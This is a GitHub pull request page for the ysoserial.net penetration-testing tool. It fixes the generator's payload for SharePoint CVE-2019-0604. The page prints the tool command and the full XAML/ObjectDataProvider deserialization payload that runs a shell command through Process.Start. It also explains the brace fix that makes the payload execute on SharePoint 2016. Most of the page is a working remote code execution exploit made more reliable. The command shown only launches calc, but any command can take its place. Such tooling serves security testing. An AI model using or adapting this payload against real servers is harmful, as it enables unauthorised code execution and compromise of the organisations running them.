Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

fix bug of xaml for SharePoint CVE-2019-0604 #107

Merged
merged 1 commit into from May 31, 2021

Conversation

Y4er
Copy link
Contributor

@Y4er Y4er commented May 31, 2021

PS E:\code\ysoserial.net\ysoserial\bin\Debug> .\ysoserial.exe -p sharepoint --cve CVE-2019-0604 -c "cmd /c calc"
<ExpandedWrapperOfXamlReaderObjectDataProvider xmlns:a="http://www.w3.org/2001/XMLSchema-instance" xmlns:b="http://www.w3.org/2001/XMLSchema"><ExpandedElement/><ProjectedProperty0><MethodName>Parse</MethodName><MethodParameters><anyType a:type="b:string"><![CDATA[<ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:a="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:b="clr-namespace:System;assembly=mscorlib" xmlns:c="clr-namespace:System.Diagnostics;assembly=system"><ObjectDataProvider a:Key="" ObjectType="{{a:Type c:Process}}" MethodName="Start"><ObjectDataProvider.MethodParameters><b:String>cmd</b:String><b:String>/c calc</b:String></ObjectDataProvider.MethodParameters></ObjectDataProvider></ResourceDictionary>]]></anyType></MethodParameters><ObjectInstance a:type="XamlReader"/></ProjectedProperty0></ExpandedWrapperOfXamlReaderObjectDataProvider>

at ObjectType="{{a:Type c:Process}}" the payload should only have one brace,otherwise it will report an error,like this

image

XamlParseException: “规则中的意外标记“Open”:“{{a:Type c:Process}}”中的“MarkupExtension ::= '{' @TYPENAME (Arguments)? '}'”。”,行号为“1”,行位置为“280”。

After modifying it to a curly brace, execute the command normally, test on sharepoint 2016.

@pwntester pwntester merged commit 5b6d460 into pwntester:master May 31, 2021
@pwntester
Copy link
Owner

Thanks!

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

None yet

2 participants